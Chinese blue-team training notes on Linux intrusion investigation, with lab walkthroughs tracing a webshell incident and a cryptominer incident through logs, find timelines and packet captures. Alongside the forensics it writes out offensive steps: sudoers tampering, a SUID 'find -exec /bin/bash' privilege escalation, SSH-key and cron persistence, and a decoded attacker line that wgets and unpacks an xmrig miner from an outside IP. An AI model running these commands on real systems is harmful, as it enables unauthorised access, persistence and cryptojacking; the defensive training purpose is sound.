蓝队培训---day3
linux入侵排查
信息收集
网路连接信息
1 | netstat -pantu |
1 | netstat -pantul |

可以用来指明方向,来找什么类型的业务
1 | ss -pantul |

1 | hostname -I |
1 | 看当前靶机的ip |

查看进程信息
1 | top |

1 | ps -ef |

杀进程kill -9 pid,比如
1 | kill -9 11091 |
担心命令是否被替换
上传一个busybox
比如要运行ps
1 | busybox ps |
用户排查
思路
uid为0的用户是恶意用户
看/etc/sudoers # 这个文件指明了哪些用户有执行sudo的权限
特殊文件排查,找有suid的文件,有suid的可执行程序可用于后门提权
看文件详细信息
stat,比如看/etc/sudoers
1 | stat /etc/sudoers |

排查suid置位的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
添加sudo执行权限
先改大/etc/sudoers的权限
1 | chmod 777 /etc/sudoers |
然后添加
1 | lan1oc ALL=(ALL:ALL) ALL |
1 | ALL=(ALL:ALL) ALL:第一个all代表登录方式什么的,括号里的代表任意用户,第三个代表任意命令 |
最后要把文件权限改回去
1 | chmod 440 /etc/sudoers |
提权
加了suid可用于提权的命令看这
例如
1 | chmod u+s find |
然后执行
1 | find . -exec /bin/bash \; -quit |
日志排查
排查攻击时间内创建的文件
1 | cat /var/log/auth.log | grep useradd |
中间件
tomcat
网站扫描排查步骤:
1.看所有日志查可疑ip
1 | cat localhost_access_log.* | awk -F " " '{print $1}' | sort | uniq -c |
2.根据可疑ip查找对应的日志文件来梳时间线
1 | grep "192.168.43.101" * | awk -F ":" '{print $1}' | sort | uniq -c |
3.确定几个存疑日志文件,开始分析扫描行为(一般会统计到访问量大的时间)
1 | cat localhost_access_log.2018-11-15.txt | awk -F " " '{print $4}' | cut -c 14-18 | sort | uniq -c |
4.确定了第一次访问的日期,根据日志文件,寻找第一次开始扫描的时间
1 | cat localhost_access_log.2018-11-15.txt | more |
根据攻击时间线找可疑文件
1 | find ./ -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null |
找可疑的可执行程序(找提权用的文件)
1 | find / -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null -executable |
持久化排查
一般看以下几个点
/etc/bash.bashrc
/etc/profile
{home}/mirage/.profile
{home}/mirage/.bashrc
ssh无密钥登陆
1 | ssh-keygen -t rsa |
生成ssh的公私钥对,生成的时候询问你输入证书的密码,不要输入直接回车。这样在ssh连接的时候才会做到真正的无密码登录,否则你ssh链接的时候还是需要输入证书的密码。
1 | cat /root/.ssh/id_rsa.pub |
将cat出来的id_rsa.pub内容写入到目标靶机的/root/.ssh/authorized_keys文件中即可。
注意:你可以将生成的id_rsa和id_rsa.pub文件拷贝到其它主机上,其它主机也能够无密码登录。
计划任务
写计划任务
1 | crontab -e |
然后输入
1 | */1 * * * * /root/apache-tomcat.tar.gz & |
1 | 这个计划任务是在后台每隔一分钟运行一次/root/apache-tomcat.tar.gz |
看有哪些计划任务
1 | crontab -l |
计划任务文件
1 | cat /var/spool/cron/crontabs |
1 | /etc/crontab |
服务启动项
到/lib/systemd/system/目录
排查技巧
关键字查找
在当前目录递归查找shell
1 | grep "shell" -Rn . |
根据时间线
看文件要用view命令,要不然就破坏了时间线索
根据时间线找文件
1 | find / -type f -newermt "2025-04-17 10:00" -a -not -newermt "2025-04-17 10:30" |
linux入侵排查练习
网站绝对路径
先排查网络连接,看到有java
1 | netstat -pantu |

然后找服务,找到tomcat
1 | ps -ef|grep java |

那就进webapps路径就行,有个ofcms-admin/
tomcat服务是哪个用户开启的?
找服务的时候能看到
1 | ps -ef|grep tomcat |

黑客的ip是多少?
看访问日志
1 | cat /home/ctf/apache-tomcat-7.0.91/logs/localhost_access_log.2018-11-16.txt |

黑客添加了哪个用户?
找uid为0的就行
1 | cat /etc/passwd|grep 0:0 |

或者
1 | cat /var/log/auth.log*|grep useradd |

黑客通过添加的用户最近一次登录到服务器时间是什么?
1 | last|grep gu3st |

再结合日志显示年份是2018
所以2018/11/15/13:26
黑客开始对网站进行扫描的时间(东八区)是什么?(答案格式:年/月/ 日/HH:MM:SS)
要看的日志文件是localhost_access_log.*
先看对网站访问量大的ip
1 | cat localhost_access_log.* | awk -F " " '{print $1}' | sort | uniq -c |

找到两个访问量大的ip,根据ip找对应的日志文件
1 | grep "192.168.43.101" * | awk -F ":" '{print $1}' | sort | uniq -c |

1 | grep "192.168.43.100" * | awk -F ":" '{print $1}' | sort | uniq -c |

发现是14和15的两个日志文件
1 | cat localhost_access_log.2018-11-15.txt | awk -F " " '{print $4}' | cut -c 14-18 | sort | uniq -c |

时间很集中,大概率是15号
1 | cat localhost_access_log.2018-11-14.txt | awk -F " " '{print $4}' | cut -c 14-18 | sort | uniq -c |

时间较分散应该不是
然后就是直接去翻日志就行
1 | cat localhost_access_log.2018-11-15.txt | more |

审计时间间隔,就能得出2:50:01开始扫
爆破次数
1 | cat auth.log*|grep Failed|awk -F " " '$6=="Failed"{print $11}' | sort |uniq -c |

找什么时候上传了webshell
先进入到网站目录/home/ctf/apache-tomcat-7.0.91/webapps
然后就是典型的通过时间线来找
1 | find ./ -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null |

然后查看文件信息就行
1 | stat JspWar.war |

黑客在提权过程中留下了提权的exp,请找到该文件
找可疑的可执行程序
1 | find / -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null -executable |

有两个文件,那就切换到ctf用户,直接运行看看哪个是就行
挖矿木马排查练习(/root目录下有个流量包)
先下载流量包
1 | scp root@10.3.4.70:/root/analysis.pcap ./Downloads/ |
攻击者通过什么账号密码成功登陆网站后台?
1 | http.request.uri contains "login" |




通过哪个页面反弹shell
直接搜post
1 | http.request.method==POST |


攻击者控制服务器后,第一个执行的echo命令的结果是什么?
根据反弹shell的ip和端口来找
1 | ip.dst==124.221.70.199&&tcp.dstport == 8190 |

然后直接追踪流搜索echo
提交攻击者第一次SSH登陆成功的时间,以系统日志时间为准
直接先看看最后登录的用户(看过/etc/passwd未找到可疑用户,那就看看最后登录的用户有没有可疑ip的,并处于攻击时间内的)
1 | last|grep root |

找到可疑ip192.168.16.43
看系统的登录日志就行,因为知道ip了。就直接匹配所有文件
1 | grep "192.168.16.43" * |

发现了13:40:08是通过无密钥连接登录上的
所以是2024/05/22/13:40:08
攻击者的矿池地址
正常思路是靠看进程能看到cpu飙升,但是因为机器不出网,所以用find命令按时间线找
1 | find / -type f -newermt "2024-05-22 13:40" -a -not -newermt "2024-05-22 23:00" 2>/dev/null -executable |

有个so文件可疑,到他目录下看看
有个json文件,一看就有
没思路,直接按照反弹shell的ip来搜,发现一个可疑文件/xmrig.tar
然后追踪流发现是个挖矿木马
攻击者的对服务器的某个命令进行了篡改,找到被篡改的命令,并提交该命令的32位小写md5值
根据命令目录去找,最终在/usr/bin中找到
1 | find /usr/bin -type f -newermt "2024-05-22 13:40" -a -not -newermt "2024-05-22 23:00" 2>/dev/null |

然后计算md5值
1 | md5sum /usr/bin/top |
因为某个配置文件,导致排查人员即使删除挖矿木马,该恶意木马也会在下一次用户登录时,又重新出现。提交改配置文件的名称
直接看/etc/profile文件
1 | cat /etc/profile |

解密这个命令可知
1 | echo 'WyAhIC1mICIvdmFyLy4gICAgICAgICAgL3htcmlnL3htcmlnIiBdICYmIHJtIC1yZiAvdmFyLyIuICAgICAgICAgICIvICYmIG1rZGlyIC1wIC92YXIvIi4gICAgICAgICAgIi8gJiYgY2QgL3Zhci8iLiAgICAgICAgICAiLyAmJiB3Z2V0IGh0dHA6Ly8xMjQuMjIxL |

1 | [ ! -f "/var/. /xmrig/xmrig" ] && rm -rf /var/". "/ && mkdir -p /var/". "/ && cd /var/". "/ && wget http://124.221.70.199:8778/xmrig.tar && tar -xf xmrig.tarroot@ubuntu:/v |
挖矿病毒本体实际是在这,这说明之前找到的是备份的病毒
攻击者在某个启动项文件中,设置了挖矿病毒开机自启,提交该启动项文件的名称
进入服务启动项文件夹/lib/systemd/system/,按时间线找
1 | find ./ -type f -newermt "2024-05-22 13:40" -a -not -newermt "2024-05-22 23:00" 2>/dev/null |

攻击者备份了一个挖矿木马文件,提交该文件的名称
就是之前找到的那个security.so
攻击者所使用的提权文件的名称是
回到反弹shell的流量中
可以看到就是用opps文件提权
运行opps文件后成功提权
第一期渗透练习回顾
fscan用法
-p 1-10000
-np 不进行ping探测
-nopoc 不进行漏洞扫描
-nobr 不进行爆破
1 | nohup ./fscan -h xxxxx -p 1-10000 -np -nobr & |
1 | 确保扫描任务在后台持续运行,即使终端关闭也不中断 |






![[记录]尝试shiro有key无链利用,但失败](/img/c1/3.webp)